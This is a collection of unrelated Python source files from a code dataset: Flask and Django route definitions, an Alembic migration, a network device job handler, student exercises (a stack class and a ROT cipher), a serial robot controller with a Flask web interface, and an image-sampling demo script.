+{"seq_id":"631672061","text":"##\n## Copyright (c) 2017, 2018 RockNSM.\n##\n## This file is part of RockNSM\n## (see http://rocknsm.io).\n##\n## Licensed under the Apache License, Version 2.0 (the \"License\");\n## you may not use this file except in compliance with the License.\n## You may obtain a copy of the License at\n##\n## http://www.apache.org/licenses/LICENSE-2.0\n##\n## Unless required by applicable law or agreed to in writing,\n## software distributed under the License is distributed on an\n## \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n## KIND, either express or implied. See the License for the\n## specific language governing permissions and limitations\n## under the License.\n##\n##\nfrom flask import Flask, Blueprint, Response\nfrom flask_restful import Api\n\nfrom resources.query import QueryRequest, ApiRequest, RawRequest\n\nfrom config import Config\n\n# Declare the blueprint\napi_bp = Blueprint('query', __name__)\napi = Api(api_bp)\n\n# Add resources\n# consider 'login_required' for queries\n\n# RawRequest handles valid stenographer queries\n# GET /raw/host+1.2.3.4+and+port+80\n# POST /query -d 'host 1.2.3.4 and port 80'\n# api.add_resource(RawRequest,\n# '/raw//',\n# '/query/',\n# )\napi.add_resource(RawRequest, '/raw/', endpoint=\"query.rawrequest.get\", methods=['GET']) # GET /raw/host+1.2.3.4+port+80\napi.add_resource(RawRequest, '/query/', endpoint=\"query.rawrequest.post\", methods=['POST']) # POST /query -d 'host 1.2.3.4 port 21'\n\n# QueryRequest handles encoded queries\n# GET /uri/name/value\n# POST / Json or HTML Forms\n# api.add_resource(QueryRequest,\n# '/uri//',\n# '/',\n# )\napi.add_resource(QueryRequest, '/', endpoint=\"query.queryrequest.post\", methods=['POST']) # POST / -d '{ \"port\":21, \"after-ago\":\"1m\" }'\napi.add_resource(QueryRequest, '/uri/', endpoint=\"query.queryrequest.get\", methods=['GET']) # GET /uri/host/1.2.3.4/port/80\n\n# ApiRequest handles metadata requests\n# GET /urls GET /urls/d6c1e79adf9f46bf6187fd92fff016e5,734d929c61e64315b140cb7040115a70\n# GET /ids GET /ids/734d929c61e64315b140cb7040115a70,7065d7548b8e717b5bdac1d074e80b55\n# GET /status GET /status/734d929c61e64315b140cb7040115a70,7065d7548b8e717b5bdac1d074e80b55\n# GET /stats GET /stats/sensor.1,sensor.2\napi.add_resource(ApiRequest,\n '///',\n '//', methods=['GET']\n )\n","sub_path":"docket/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":2467,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"355696126","text":"\"\"\"empty message\n\nRevision ID: e0fe944d0566\nRevises: \nCreate Date: 2021-03-31 15:42:09.097237\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'e0fe944d0566'\ndown_revision = None\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('character',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('name', sa.String(length=250), nullable=False),\n sa.Column('height', sa.Integer(), nullable=True),\n sa.Column('mass', sa.Integer(), nullable=True),\n sa.Column('hair_color', sa.String(length=250), nullable=True),\n sa.Column('skin_color', sa.String(length=250), nullable=True),\n sa.Column('gender', sa.String(length=250), nullable=True),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_table('planet',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('name', sa.String(length=250), nullable=False),\n sa.Column('diameter', sa.Integer(), nullable=True),\n sa.Column('gravity', sa.String(length=30), nullable=True),\n sa.Column('climate', sa.String(length=250), nullable=True),\n sa.Column('population', sa.Integer(), nullable=True),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_table('starship',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('name', sa.String(length=250), nullable=False),\n sa.Column('model', sa.String(length=250), nullable=True),\n sa.Column('passengers', sa.Integer(), nullable=True),\n sa.Column('consumable', sa.String(length=250), nullable=True),\n sa.Column('cargo_capacity', sa.Integer(), nullable=True),\n sa.Column('hyperdrive_rating', sa.Integer(), nullable=True),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_table('user',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('name', sa.String(length=250), nullable=False),\n sa.Column('email', sa.String(length=250), nullable=True),\n sa.Column('password', sa.String(length=10), nullable=True),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_table('favorite',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('users_id', sa.Integer(), nullable=True),\n sa.Column('name', sa.String(length=250), nullable=True),\n sa.ForeignKeyConstraint(['users_id'], ['user.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_table('favorite')\n op.drop_table('user')\n op.drop_table('starship')\n op.drop_table('planet')\n op.drop_table('character')\n # ### end Alembic commands ###\n","sub_path":"migrations/versions/e0fe944d0566_.py","file_name":"e0fe944d0566_.py","file_ext":"py","file_size_in_byte":2675,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"209246478","text":"#\n# Copyright (c) 2018 Juniper Networks, Inc. All rights reserved.\n#\n\n\"\"\"\nThis file contains implementation of job api handler code\n\"\"\"\nimport gevent\nimport json\nimport random\nfrom enum import Enum\nfrom vnc_api.vnc_api import VncApi\n\n\nclass JobStatus(Enum):\n INIT = 0\n IN_PROGRESS = 1\n COMPLETE = 2\n FAILED = 3\n# end class JobStatus\n\n\nclass JobHandler(object):\n JOB_STATUS_MAPPING = {\n 'SUCCESS': JobStatus.COMPLETE,\n 'FAILURE': JobStatus.FAILED,\n 'UNKNOWN': JobStatus.FAILED\n }\n\n def __init__(self, job_type, job_input, device_list, api_server_config,\n logger):\n self._job_type = job_type\n self._job_input = job_input\n self._device_list = device_list\n self._api_server_config = api_server_config\n self._logger = logger\n self._job_id = None\n self._job_status = JobStatus.INIT\n super(JobHandler, self).__init__()\n # end __init__\n\n def push(self, timeout, max_retries):\n vnc_api = self._get_vnc_api(**self._api_server_config)\n self._job_status = JobStatus.IN_PROGRESS\n job_execution_id = None\n try:\n self._logger.debug(\"job handler: executing job for (%s, %s)\" %\n (self._device_list, str(self._job_type)))\n job_execution_info = vnc_api.execute_job(\n job_template_fq_name=self._job_type,\n job_input=self._job_input,\n device_list=self._device_list\n )\n\n job_execution_id = job_execution_info.get('job_execution_id')\n self._logger.debug(\"job started with execution id %s\" %\n job_execution_id)\n self._wait(vnc_api, job_execution_id, timeout, max_retries)\n except Exception as e:\n self._logger.error(\"job handler: push failed for (%s, %s)\"\n \" execution id %s: %s\" % (self._device_list,\n str(self._job_type), job_execution_id, repr(e)))\n self._job_status = JobStatus.FAILED\n\n if self._job_status == JobStatus.FAILED:\n raise Exception(\"job handler: push failed for (%s, %s)\"\n \" execution id %s\" % (self._device_list,\n str(self._job_type), job_execution_id))\n self._logger.debug(\"job handler: push succeeded for (%s, %s)\"\n \" execution id %s\" % (self._device_list,\n str(self._job_type), job_execution_id))\n # end push\n\n def _check_job_status(self, vnc_api, job_execution_id, status):\n try:\n job_status = vnc_api.job_status(job_execution_id)\n return self._verify_job_status(job_status, status)\n except Exception as e:\n self._logger.error(\"job handler: error while querying \"\n \"job status for execution_id %s: %s\" %\n (job_execution_id, repr(e)))\n return False\n # end _check_job_status\n\n def _get_job_status(self, vnc_api, job_execution_id):\n if self._check_job_status(vnc_api, job_execution_id,\n JobStatus.COMPLETE):\n return JobStatus.COMPLETE\n if self._check_job_status(vnc_api, job_execution_id,\n JobStatus.FAILED):\n return JobStatus.FAILED\n\n return JobStatus.IN_PROGRESS\n # end _get_job_status\n\n def _wait(self, vnc_api, job_execution_id, timeout, max_retries):\n retry_count = 1\n while not self.is_job_done():\n self._job_status = self._get_job_status(vnc_api, job_execution_id)\n if not self.is_job_done():\n if retry_count >= max_retries:\n self._logger.error(\n \"job handler: timed out waiting for job %s for device\"\n \" %s and job_type %s:\" %\n (job_execution_id, self._device_list,\n str(self._job_type)))\n self._job_status = JobStatus.FAILED\n else:\n retry_count += 1\n gevent.sleep(timeout)\n # end _wait\n\n def get_job_status(self):\n return self._job_status\n # end get_job_status\n\n def is_job_done(self):\n if self._job_status == JobStatus.COMPLETE or \\\n self._job_status == JobStatus.FAILED:\n return True\n return False\n # end is_job_done\n\n @staticmethod\n def _get_vnc_api(ips, port, username, password, tenant, use_ssl):\n return VncApi(api_server_host=random.choice(ips),\n api_server_port=port, username=username,\n password=password, tenant_name=tenant,\n api_server_use_ssl=use_ssl)\n # end _get_vnc_api\n\n @classmethod\n def _verify_job_status(cls, job_status, status):\n return job_status and \\\n cls.JOB_STATUS_MAPPING.get(job_status.get('job_status')) == \\\n status\n # end _verify_job_status\n# end class JobHandler\n","sub_path":"src/config/device-manager/device_manager/plugins/ansible/job_handler.py","file_name":"job_handler.py","file_ext":"py","file_size_in_byte":5038,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"561094529","text":"# Name: Allie Blaising \r\n\r\n# Stack class implemented with array\r\nclass Stack:\r\n \"\"\"Implements an efficient last-in first-out Abstract Data Type using a Python List\"\"\"\r\n\r\n # capacity is max number of Nodes, init_items is optional List parameter for initialization\r\n # if the length of the init_items List exceeds capacity, raise IndexError\r\n def __init__(self, capacity, init_items=None):\r\n \"\"\"Creates an empty stack with a capacity\"\"\"\r\n self.capacity = capacity # capacity of stack\r\n self.items = [None]*capacity # array for stack\r\n self.num_items = 0 # number of items in stack\r\n if init_items is not None: # if init_items is not None, initialize stack\r\n if len(init_items) > capacity:\r\n raise IndexError\r\n else:\r\n self.num_items = len(init_items)\r\n self.items[:self.num_items] = init_items\r\n\r\n def __eq__(self, other):\r\n return ((type(other) == Stack)\r\n and self.capacity == other.capacity\r\n and self.items[:self.num_items] == other.items[:other.num_items]\r\n )\r\n\r\n def __repr__(self):\r\n return (\"Stack({!r}, {!r})\".format(self.capacity, self.items[:self.num_items]))\r\n\r\n def is_empty(self):\r\n if self.num_items <= 0: \r\n return True\r\n return False\r\n '''Returns True if the stack is empty, and False otherwise\r\n MUST have O(1) performance'''\r\n\r\n def is_full(self):\r\n if self.num_items >= self.capacity: \r\n return True \r\n return False\r\n '''Returns True if the stack is full, and False otherwise\r\n MUST have O(1) performance'''\r\n\r\n def push(self, item):\r\n if self.is_full(): \r\n raise IndexError \r\n else: \r\n self.items[self.num_items] = item # num_items refers to the current index + 1, so if we index to \r\n # self.num_items, we can initialize the None value here to the value inputted in the push \r\n self.num_items += 1 \r\n return self \r\n '''If stack is not full, pushes item on stack. \r\n If stack is full when push is attempted, raises IndexError\r\n MUST have O(1) performance'''\r\n\r\n def pop(self): \r\n if not self.is_empty(): \r\n removed = self.items[self.num_items - 1] # extracts last non-None item \r\n self.items[self.num_items - 1] = None # changes last item to None (i.e. remove)\r\n self.num_items -= 1 \r\n return removed # just return the value at the index that we converted to None\r\n else: \r\n raise IndexError\r\n '''If stack is not empty, pops item from stack and returns item.\r\n If stack is empty when pop is attempted, raises IndexError\r\n MUST have O(1) performance'''\r\n\r\n def peek(self):\r\n if not self.is_empty(): \r\n return self.items[self.num_items-1] # extracts last non-None item, but doesn't modify to \r\n # none, so item is not popped \r\n else: \r\n raise IndexError\r\n '''If stack is not empty, returns next item to be popped (but does not pop the item)\r\n If stack is empty, raises IndexError\r\n MUST have O(1) performance'''\r\n\r\n def size(self):\r\n return self.num_items\r\n '''Returns the number of elements currently in the stack, not the capacity\r\n MUST have O(1) performance'''\r\n\r\n ","sub_path":"stack_array.py","file_name":"stack_array.py","file_ext":"py","file_size_in_byte":3449,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"600084892","text":"#Zach Watts\n#Lab 7: ROT Cipher\n\nrot_13 = {\n 'a' : 'n',\n 'b' : 'o',\n 'c' : 'p',\n 'd' : 'q',\n 'e' : 'r',\n 'f' : 's',\n 'g' : 't',\n 'h' : 'u',\n 'i' : 'v',\n 'j' : 'w',\n 'k' : 'x',\n 'l' : 'y',\n 'm' : 'z',\n 'n' : 'a',\n 'o' : 'b',\n 'p' : 'c',\n 'q' : 'd',\n 'r' : 'e',\n 's' : 'f',\n 't' : 'g',\n 'u' : 'h',\n 'v' : 'i',\n 'w' : 'j',\n 'x' : 'k',\n 'y' : 'l',\n 'z' : 'm',\n ' ' : ' '\n}\n\nalpha = 'abcdefghijklmnopqrstuvqxyz'\n\ndef main():\n rot = rotations()\n msg = message()\n choice = enc_or_dec()\n if choice == 'e':\n encrypt(rot, msg)\n elif choice == 'd':\n decrypt(rot, msg)\n exit()\n\ndef rotations():\n valid = 0\n while not valid:\n rot = int(input(\"Enter the number of rotations: \"))\n try:\n valid = 1\n except:\n ValueError\n print(\"Input must be a number\")\n return rot\n\ndef message():\n valid = 0\n while not valid:\n #msg = \"\"\n #while len(msg) < 1:\n msg = str(input(\"Enter the message you would like to encrypt\\n\\\n or decrypt without numbers, special characters or capital letters: \"))\n for char in msg:\n if char not in alpha:\n print(\"You have entered invalid character(s)\")\n else: \n valid = 1\n break\n return msg\n\ndef enc_or_dec():\n valid = 0\n while not valid:\n choice = input(\"Enter 'e' if you would like to encrypt your\\n\\\n message or 'd' if you would like to decrypt your message: \")\n if choice == 'e':\n valid = 1\n elif choice == 'd':\n valid = 1\n else:\n print(\"That is not a valid choice.\")\n return choice\n\ndef encrypt(rot_, msg_):\n enc_msg = \"\"\n for char in msg_:\n for idx, letter in enumerate(alpha):\n if char == letter:\n try: enc_msg += alpha[idx + rot_]\n except:\n IndexError\n enc_msg += alpha[idx - 26 + rot_]\n if char == \" \":\n enc_msg += \" \"\n print(enc_msg)\n return enc_msg\n\ndef decrypt(rot_, msg_):\n dec_msg = \"\"\n for char in msg_:\n for idx, letter in enumerate(alpha):\n if char == letter:\n try: dec_msg += alpha[idx - rot_]\n except:\n IndexError\n dec_msg += alpha[idx + 26 - rot_]\n if char == \" \":\n dec_msg += \" \"\n print(dec_msg)\n return dec_msg\n\n'''\ndef decrypt(rot_, msg_):\n dec_msg = \"\"\n dec_lst = [] \n for char in msg_:\n dec_lst.append(char)\n for char in dec_lst:\n\n for idx, letter in enumerate(alpha):\n dec_msg += \n pass\n'''\n\n\n'''\n#----------------------------------------VERSION 1---------------------------------------------#\ndef encrypt():\n valid = 0\n encrypted = \"\"\n while not valid:\n user_msg = input(\"Please input your message in lower case letters: \")\n try:\n for char in user_msg:\n encrypted += rot_13[char]\n valid = 1\n except:\n KeyError\n print(\"That value cannot be encrypted!\")\n print(encrypted)\n return encrypted\n#-----------------------------------------------------------------------------------------------#\n'''\n\nmain()","sub_path":"Code/Zach/PDX_6_14/Python/zach_lab_7.py","file_name":"zach_lab_7.py","file_ext":"py","file_size_in_byte":3359,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"216942346","text":"from django.conf.urls import url\n\nfrom . import views\n\nurlpatterns = [\n url(r'^list/$', views.list, name='list'),\n url(r'^wish/$', views.wish_books, name='wish'),\n url(r'^wish/save/$', views.wish_books_save, name='wish_save'),\n url(r'^register/$', views.register, name='register'),\n url(r'^register/save/$', views.register_save, name='register_save'),\n url(r'^list/rent/(?P\\d+)/$', views.rent, name='rent'),\n url(r'^return/(?P\\d+)/$', views.return_book, name='return_book'),\n]","sub_path":"our_book/books/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":505,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"77653096","text":"##### import packages #####\nimport serial\nimport sys\t\t#for terminating the program immediately\nimport time\nimport tty, termios, sys #for getChar function\n\nfrom threading import Thread\n\nfrom flask import Flask , render_template,request\n\n\n\n##### global variables ####\n#rSpeed = 0\n#lSpeed = 0\nleft = right = 0\nJOYSTICK_DELAY = 0.05\nMOTOR_SPEED_MAX = 200\nMOTOR_SPEED_STEP = 17\nMOTOR_SPEED_TURN = 70\nMOTOR_SPEED_minISTEP = 10\n\n\n##### robot class #####\nclass autRobot:\n\tdef __init__(self):\n\t\t#self.portfd = 0; # File descriptor of robot which data in written to and has to be read from\n\t\tself.motorSpeedLeft = 0 # The number has to be set on the left motor input\n\t\tself.motorSpeedRight = 0 # The number has to be set on the right motor input\n\t\tself.motorShaftLeft = 0 # Left shaft encoder data\n\t\tself.motorShaftRight = 0 # Right shaft encoder data\n\t\tself.omegaL = 0.0 # Left angular velocity\n\t\tself.omegaR = 0.0 # Right angular velocity\n\t\tself.sonarRear = 0 # data of sonar number 0\n\t\tself.sonarRearL = 0 # data of sonar number 1\n\t\tself.sonarFrontL = 0 # data of sonar number 2\n\t\tself.sonarFront = 0 # data of sonar number 3\n\t\tself.sonarFrontR = 0 # data of sonar number 4\n\t\tself.sonarRearR = 0 # data of sonar number 5\n\t\tself.battery = 0.0 # battery life percentage\n\t\tself.reset = 0 # does robot need reseting?\n\t\tself.rSpeed = 0\n\t\tself.lSpeed = 0\n\n\t\t##### try to connect to serial port #####\n\t\ttry:\n\t\t\tser = serial.Serial(\"/dev/ttyUSB0\",38400) # try to connect to serial port\n\t\t\tself.portfd = ser\n\t\t\tprint(\"Successfully connected to seial! (USB0)\")\n\t\texcept:\n\t\t\ttry:\n\t\t\t\tser = serial.Serial(\"/dev/ttyUSB1\",38400)\n\t\t\t\tself.portfd = ser\n\t\t\t\tprint(\"Successfully connected to serial! (USB1)\")\n\t\t\texcept:\n\t\t\t\tprint(\"Sorry! Can NOT connect to the robot!\")\n\t\t\t\tsys.exit() #terminates the program immediately\n\n\n\t##### write motor speed in serial port #####\n\tdef writeData(self, rSpeed, lSpeed):\n\t\trobot.portfd.write(bytes(\"S %d %d\\n\"%(rSpeed, lSpeed), 'UTF-8'))\n\n\n\t##### read date from serial port & assign them to robot #####\n\tdef readData(self):\n\t\tdata = []\n\t\tfor count in range(0,9):\n\t\t\ttmp = self.portfd.readline().decode('UTF-8') \n\t\t\tif(count < 8):\n\t\t\t\tdata.append(int(tmp))\n\t\t\t\t#print (\"The %d's data is %s\"%(count+1, data[count]))\n\t\t\telse:\n\t\t\t\tself.battery = float(tmp)\n\t\t\t\t#print(robot.battery)\n\n\t\tself.motorShaftLeft = data[0]\n\t\tself.motorShaftRight = data[1]\n\t\tself.sonarRear = data[2]\n\t\tself.sonarRearL = data[3]\n\t\tself.sonarFrontL = data[4]\n\t\tself.sonarFront = data[5]\n\t\tself.sonarFrontR = data[6]\n\t\tself.sonarRearR = data[7] \n\n\t##### print robot data in terminal #####\n\tdef printData(self):\n\t\t#pfd = \"Port File Descriptor: %s\"% (robot.portfd)\n\t\tmspl = \"Left Motor Speed: %d\"% (self.motorSpeedLeft)\n\t\tmspr = \"Right Motor Speed: %d\"% (self.motorSpeedRight)\n\t\tmshl = \"Left Shaft Encoder Data: %d\"% (self.motorShaftLeft)\n\t\tmshr = \"Right Shaft Encoder Data: %d\"% (self.motorShaftRight)\n\t\tsr = \"Rear Sonar Data: %d\"% (self.sonarRear)\n\t\tsrl = \"Rear-Left Sonar Data: %d\"% (self.sonarRearL)\n\t\tsfl = \"Front-Left Sonar Data: %d\"% (self.sonarFrontL)\n\t\tsf = \"Front Sonar Data: %d\"% (self.sonarFront)\n\t\tsfr = \"Front-Right Sonar Data: %d\"% (self.sonarFrontR);\n\t\tsrr = \"Rear-Right Sonar Data: %d\"% (self.sonarRearR);\n\t\tbt = \"Battery Voltage: %f\"% (self.battery);\n\n\t\tprint(\"\\n%s\\n%s\\n%s\\n%s\\n%s\\n%s\\n%s\\n%s\\n%s\\n%s\\n%s\\n\"%(mspl, mspr, mshl, mshr, sr, srl, sfl, sf, sfr, srr, bt))\n\n\n\t##### detect key from keyboard #####\n\tdef getChar(self):\n\t #Returns a single character from standard input\n\t\tfd = sys.stdin.fileno()\n\t\told_settings = termios.tcgetattr(fd)\n\t\ttry:\n\t\t\ttty.setraw(sys.stdin.fileno())\n\t\t\tch = sys.stdin.read(1)\n\t\tfinally:\n\t\t\ttermios.tcsetattr(fd, termios.TCSADRAIN, old_settings)\n\t\treturn ch\n\n\tdef setMotorSpeeds(self, right, left):\n\t\trobot.motorSpeedRight = right\n\t\trobot.motorSpeedLeft = left \n\t\t#print(\"rSpeed = %d, lSpeed = %d \\n\"%(right, left))\n\t\tself.updateRobot()\n\n\tdef updateRobot(self):\n\t\tself.writeData(self.motorSpeedRight, self.motorSpeedLeft)\n\t\tself.readData()\n\t\tself.printData()\n\n\n\tdef joystickMode(self):\n\t\tch = self.getChar()\n\t\tprint (\"char = %s\"%(ch))\n\t\t#if (ch == 'o' or ch == 'O' or ch == 'j' or ch == 'J' or ch == 'w' or ch == 'W' or ch == 's' or ch == 'S' or ch == 'd' or ch == 'D' or ch == 'a' or ch == 'A'):\n\t\t#if (self.getChar()):\n\t\tif(ch == 'o' or ch == 'O'):\n\t\t\tsys.exit() #terminates the program immediately\n\t\telif(ch == 'j' or ch == 'J'): \n\t\t\tself.rSpeed = self.lSpeed = 0\n\t\t\tself.setMotorSpeeds(self.rSpeed, self.lSpeed) \n\t\telif(ch == 'w' or ch == 'W'):\n\t\t\tif(self.lSpeed < MOTOR_SPEED_MAX or self.rSpeed < MOTOR_SPEED_MAX):\n\t\t\t\tself.lSpeed = min(MOTOR_SPEED_MAX, self.lSpeed + MOTOR_SPEED_STEP)\n\t\t\t\tself.rSpeed = min(MOTOR_SPEED_MAX, self.rSpeed + MOTOR_SPEED_STEP)\n\t\t\t\tself.setMotorSpeeds(self.rSpeed, self.lSpeed)\n\t\telif(ch == 's' or ch == 'S'): \n\t\t\tif(self.lSpeed > -1*MOTOR_SPEED_MAX or self.rSpeed > -1*MOTOR_SPEED_MAX):\n\t\t\t\tself.lSpeed = max(-1*MOTOR_SPEED_MAX, self.lSpeed - MOTOR_SPEED_STEP)\n\t\t\t\tself.rSpeed = max(-1*MOTOR_SPEED_MAX, self.rSpeed - MOTOR_SPEED_STEP)\n\t\t\t\tself.setMotorSpeeds(self.rSpeed, self.lSpeed) \n\t\telif(ch == 'a' or ch == 'A'): \n\t\t\tif(self.lSpeed > -1*MOTOR_SPEED_MAX or self.rSpeed < MOTOR_SPEED_MAX):\n\t\t\t\tself.lSpeed = max(-1*MOTOR_SPEED_MAX, self.lSpeed - MOTOR_SPEED_STEP)\n\t\t\t\tself.rSpeed = min(MOTOR_SPEED_MAX, self.rSpeed + MOTOR_SPEED_STEP)\n\t\t\t\tself.setMotorSpeeds(self.rSpeed, self.lSpeed) \n\t\telif(ch == 'd' or ch == 'D'): \n\t\t\tif (self.lSpeed < MOTOR_SPEED_MAX or self.rSpeed > -1*MOTOR_SPEED_MAX):\t\t\t\t\t\t\n\t\t\t\tself.lSpeed = min(MOTOR_SPEED_MAX, self.lSpeed + MOTOR_SPEED_STEP)\n\t\t\t\tself.rSpeed = max(-1*MOTOR_SPEED_MAX, self.rSpeed - MOTOR_SPEED_STEP)\n\t\t\t\tself.setMotorSpeeds(self.rSpeed, self.lSpeed) \n\t\ttime.sleep(JOYSTICK_DELAY)\n########### End of class ###########\n\n\n##### create robot object #####\nrobot = autRobot()\n\n\ndef joySM():\n\twhile True:\n\t\trobot.joystickMode()\n\nt = Thread(target = joySM)\nt.start()\n\n\napp=Flask (__name__)\n@app.route('/login/',methods=['GET', 'POST'])\ndef index(myname):\n\tif (request.method=='POST'):\n\t\tmy_command=request.form['command']\n\t\tif my_command==\"UP\":\n\t\t\tif(robot.lSpeed < MOTOR_SPEED_MAX or robot.rSpeed < MOTOR_SPEED_MAX):\n\t\t\t\trobot.lSpeed = min(MOTOR_SPEED_MAX, robot.lSpeed + MOTOR_SPEED_STEP)\n\t\t\t\trobot.rSpeed = min(MOTOR_SPEED_MAX, robot.rSpeed + MOTOR_SPEED_STEP)\n\t\t\t\trobot.setMotorSpeeds(robot.rSpeed, robot.lSpeed)\n\t\telif my_command==\"DOWN\":\n\t\t\tif(robot.lSpeed > -1*MOTOR_SPEED_MAX or robot.rSpeed > -1*MOTOR_SPEED_MAX):\n\t\t\t\trobot.lSpeed = max(-1*MOTOR_SPEED_MAX, robot.lSpeed - MOTOR_SPEED_STEP)\n\t\t\t\trobot.rSpeed = max(-1*MOTOR_SPEED_MAX, robot.rSpeed - MOTOR_SPEED_STEP)\n\t\t\t\trobot.setMotorSpeeds(robot.rSpeed, robot.lSpeed) \n\t\telif my_command==\"LEFT\":\n\t\t\tif(robot.lSpeed > -1*MOTOR_SPEED_MAX or robot.rSpeed < MOTOR_SPEED_MAX):\n\t\t\t\trobot.lSpeed = max(-1*MOTOR_SPEED_MAX, robot.lSpeed - MOTOR_SPEED_STEP)\n\t\t\t\trobot.rSpeed = min(MOTOR_SPEED_MAX, robot.rSpeed + MOTOR_SPEED_STEP)\n\t\t\t\trobot.setMotorSpeeds(robot.rSpeed, robot.lSpeed) \n\t\telif my_command==\"RIGHT\":\n\t\t\tif (robot.lSpeed < MOTOR_SPEED_MAX or robot.rSpeed > -1*MOTOR_SPEED_MAX):\t\t\t\t\t\t\n\t\t\t\trobot.lSpeed = min(MOTOR_SPEED_MAX, robot.lSpeed + MOTOR_SPEED_STEP)\n\t\t\t\trobot.rSpeed = max(-1*MOTOR_SPEED_MAX, robot.rSpeed - MOTOR_SPEED_STEP)\n\t\t\t\trobot.setMotorSpeeds(robot.rSpeed, robot.lSpeed)\n\t\telif my_command==\"STOP\":\n\t\t\trobot.rSpeed = robot.lSpeed = 0\n\t\t\trobot.setMotorSpeeds(robot.rSpeed, robot.lSpeed)\n\t\t#else:\n\t\t\t#rSpeed = lSpeed = 0\n\t\t\t#setMotorSpeeds(rSpeed, lSpeed)\n\t\ttime.sleep(JOYSTICK_DELAY)\n\t\treturn render_template('myHTML.html',myname=myname,command=my_command)\n\treturn render_template('myHTML.html',myname=myname,command=None)\nif __name__ == '__main__':\n\tapp.run(debug=True, host='0.0.0.0',port=2000)\n\n\nt.join()\n\n\n#t=Thread(target = fluskFunc, args=(myname, robot.rSpeed, robot.lSpeed, robot.setMotorSpeeds))\n\n\n\n#joySM()\n#fluskFunc(myname, robot.rSpeed, robot.lSpeed, robot.setMotorSpeeds)\n#t.start()\n","sub_path":"Flask_Method1.py","file_name":"Flask_Method1.py","file_ext":"py","file_size_in_byte":8142,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"48386945","text":"import torch\nfrom torchvision.utils import save_image\n\nimport sampler\nimport sampler_o\nimport utils\nfrom gradient_visualizer import GradientVisualizer\n\nif __name__ == \"__main__\":\n image_path = './imgs/cute.jpg'\n cute_cat = utils.loadimage(image_path).unsqueeze(0)\n print(cute_cat.shape)\n\n trans_mat = torch.Tensor([[[0.6705, 0.4691, -0.1369],\n [-0.4691, 0.6705, -0.0432]]])\n out_shape = [128, 128]\n\n bilinear_sampler = sampler.Sampler('bilinear', 'zeros')\n bilinear_tarnsformed = bilinear_sampler.warp_image(\n cute_cat, trans_mat, out_shape=out_shape)\n # save_image(bilinear_tarnsformed, 'bilinear_transformed.png')\n # utils.showimg(bilinear_tarnsformed)\n\n bicubic_sampler = sampler.Sampler('bicubic', 'zeros')\n bicubic_tarnsformed = bilinear_sampler.warp_image(\n cute_cat, trans_mat, out_shape=out_shape)\n # save_image(bicubic_tarnsformed, 'bicubic_transformed.png')\n # utils.showimg(bicubic_tarnsformed)\n\n # utils.torchseed(666)\n # linearized_sampler_o = sampler_o.Sampler('linearized', 'zeros')\n # linearized_tarnsformed_o = linearized_sampler_o.warp_image(\n # cute_cat, trans_mat, out_shape=out_shape)\n # save_image(linearized_tarnsformed_o, 'linearized_transformed_ori.png')\n # # utils.showimg(linearized_tarnsformed_o)\n\n # utils.torchseed(666)\n linearized_sampler = sampler.Sampler('linearized', 'zeros')\n linearized_tarnsformed = linearized_sampler.warp_image(\n cute_cat, trans_mat, out_shape=out_shape)\n # save_image(linearized_tarnsformed, 'linearized_tarnsformed.png')\n # utils.showimg(linearized_tarnsformed)\n\n # print(linearized_tarnsformed_o.equal(linearized_tarnsformed))\n\n print(sampler.LinearizedMutilSample.hyperparameters())\n # sampler.LinearizedMutilSample.set_hyperparameters(noise_strength=2)\n\n # target_mo = torch.rand(1, 2)*2 - 1\n # target_mo = torch.zeros(1, 2)\n # print(target_mo)\n\n visualizer = GradientVisualizer(input=cute_cat, out_shape=[16, 16])\n visualizer.draw_gradient_grid(bilinear_sampler)\n visualizer.draw_gradient_grid(bicubic_sampler)\n # utils.torchseed(666)\n # visualizer.draw_gradient_grid(linearized_sampler_o, 'linearized_ori')\n utils.torchseed(666)\n visualizer.draw_gradient_grid(linearized_sampler)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2311,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
